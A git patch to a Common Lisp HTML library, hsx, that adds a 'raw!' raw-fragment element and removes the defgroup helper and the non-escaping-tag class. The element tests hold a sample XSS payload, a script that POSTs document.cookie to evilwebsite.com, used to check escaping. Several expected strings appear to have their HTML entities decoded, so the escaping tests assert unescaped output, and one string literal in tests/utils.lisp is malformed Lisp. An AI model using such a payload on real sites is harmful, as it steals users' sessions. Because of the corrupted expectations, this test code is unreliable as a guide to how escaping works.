From aa1efe72cdee8bc033f63d21bf90cf5016a23d3c Mon Sep 17 00:00:00 2001
From: paku <paku@skyizwhite.dev>
Date: Fri, 28 Mar 2025 12:47:37 +0900
Subject: [PATCH] Add raw-fragment
---
src/builtin.lisp | 3 ++-
src/element.lisp | 29 +++++++++++++----------------
src/utils.lisp | 18 +-----------------
tests/element.lisp | 31 +++++++++++++++----------------
tests/utils.lisp | 16 ----------------
5 files changed, 31 insertions(+), 66 deletions(-)
diff --git a/src/builtin.lisp b/src/builtin.lisp
index 38f20fe..cdb3e32 100644
--- a/src/builtin.lisp
+++ b/src/builtin.lisp
@@ -20,4 +20,5 @@
noscript object ol optgroup option output p param picture pre progress
q rp rt ruby s samp script section select small source span strong
style sub summary sup svg table tbody td template textarea tfoot th
- thead |time| title tr track u ul var video wbr <>)
+ thead |time| title tr track u ul var video wbr
+ <> raw!)
diff --git a/src/element.lisp b/src/element.lisp
index 5bc3ea4..5098903 100644
--- a/src/element.lisp
+++ b/src/element.lisp
@@ -3,15 +3,14 @@
(:import-from #:str
#:collapse-whitespaces)
(:import-from #:hsx/utils
- #:defgroup
- #:escape-html-attribute
- #:escape-html-text-content)
+ #:escape-html-text-content
+ #:escape-html-attribute)
(:export #:element
#:tag
#:html-tag
#:self-closing-tag
- #:non-escaping-tag
#:fragment
+ #:raw-fragment
#:component
#:create-element
#:element-type
@@ -23,12 +22,10 @@
;;; tag group definitions
-(defgroup self-closing-tag
- area base br col embed hr img input
- link meta param source track wbr)
-
-(defgroup non-escaping-tag
- script style)
+(deftype self-closing-tag-sym ()
+ '(member
+ :area :base :br :col :embed :hr :img :input
+ :link :meta :param :source :track :wbr))
;;;; class definitions
@@ -49,10 +46,10 @@
(defclass self-closing-tag (tag) ())
-(defclass non-escaping-tag (tag) ())
-
(defclass fragment (tag) ())
+(defclass raw-fragment (fragment) ())
+
(defclass component (element) ())
;;;; factory
@@ -61,9 +58,9 @@
(make-instance
(cond ((functionp type) 'component)
((eq type :<>) 'fragment)
+ ((eq type :raw!) 'raw-fragment)
((eq type :html) 'html-tag)
- ((self-closing-tag-p type) 'self-closing-tag)
- ((non-escaping-tag-p type) 'non-escaping-tag)
+ ((typep type 'self-closing-tag-sym) 'self-closing-tag)
((keywordp type) 'tag)
(t (error "element-type must be a keyword or a function.")))
:type type
@@ -95,7 +92,7 @@
(if children
(format stream
(if (or (rest children)
- (typep (first children) 'element))
+ (typep (first children) '(and element (not fragment))))
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
type
@@ -148,7 +145,7 @@
child))
(element-children element)))
-(defmethod render-children ((element non-escaping-tag))
+(defmethod render-children ((element raw-fragment))
(element-children element))
(defmethod expand-component ((element component))
diff --git a/src/utils.lisp b/src/utils.lisp
index 0d8c66d..2a1f397 100644
--- a/src/utils.lisp
+++ b/src/utils.lisp
@@ -5,8 +5,7 @@
#:make-keyword
#:symbolicate)
(:export #:escape-html-attribute
- #:escape-html-text-content
- #:defgroup))
+ #:escape-html-text-content))
(in-package #:hsx/utils)
(defparameter *text-content-escape-map*
@@ -41,18 +40,3 @@
(defun escape-html-attribute (str)
(escape-string str *attribute-escape-map*))
-
-(defun make-keyword-hash-table (symbols)
- (let ((ht (make-hash-table)))
- (mapcar (lambda (sym)
- (setf (gethash (make-keyword sym) ht) t))
- symbols)
- ht))
-
-(defmacro defgroup (name &body symbols)
- (let ((param-name (symbolicate '* name '*))
- (pred-name (symbolicate name '-p)))
- `(progn
- (defparameter ,param-name (make-keyword-hash-table ',symbols))
- (defun ,pred-name (keyword)
- (gethash keyword ,param-name)))))
diff --git a/tests/element.lisp b/tests/element.lisp
index 211777e..e28667a 100644
--- a/tests/element.lisp
+++ b/tests/element.lisp
@@ -15,7 +15,6 @@
(ok (typep (create-element :div nil nil) 'tag))
(ok (typep (create-element :html nil nil) 'html-tag))
(ok (typep (create-element :img nil nil) 'self-closing-tag))
- (ok (typep (create-element :style nil nil) 'non-escaping-tag))
(ok (typep (create-element :<> nil nil) 'fragment))
(ok (typep (create-element (lambda ()) nil nil) 'component))
(ok (signals (create-element "div" nil nil))))
@@ -96,21 +95,6 @@
(list :src "/background.png")
nil)
:pretty t))))
-
- (testing "escaping-tag"
- (ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
- (render-to-string
- (create-element :div
- nil
- (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
-
- (testing "non-escaping-tag"
- (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
- (render-to-string
- (create-element :script
- nil
- "alert('<< Do not embed user-generated contents here! >>')")))))
-
(testing "fragment"
(let ((frg (create-element :<>
nil
@@ -140,6 +124,21 @@
(list "brah"))))
:pretty t)))))
+
+ (testing "raw-fragment"
+ (ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
+ (render-to-string
+ (create-element :div
+ nil
+ (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
+ (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
+ (render-to-string
+ (create-element :script
+ nil
+ (create-element :raw!
+ nil
+ "alert('<< Do not embed user-generated contents here! >>')"))))))
+
(testing "minify-props-text"
(let ((elm (create-element :div
'(:x-data "{
diff --git a/tests/utils.lisp b/tests/utils.lisp
index bd6f722..7c39a0d 100644
--- a/tests/utils.lisp
+++ b/tests/utils.lisp
@@ -12,19 +12,3 @@
(testing "escape-html-text-content"
(ok (string= "&<>"'/`="
(escape-html-text-content "&<>\"'/`=")))))
-
-(defgroup fruit
- apple banana)
-
-(deftest group-util-test
- (testing "defgroup"
- (ok (expands '(defgroup fruit apple banana)
- '(progn
- (defparameter *fruit*
- (hsx/utils::make-keyword-hash-table '(apple banana)))
- (defun fruit-p (keyword)
- (gethash keyword *fruit*)))))
- (ok (hash-table-p *fruit*))
- (ok (fboundp 'fruit-p))
- (ok (fruit-p :apple))
- (ng (fruit-p :tomato))))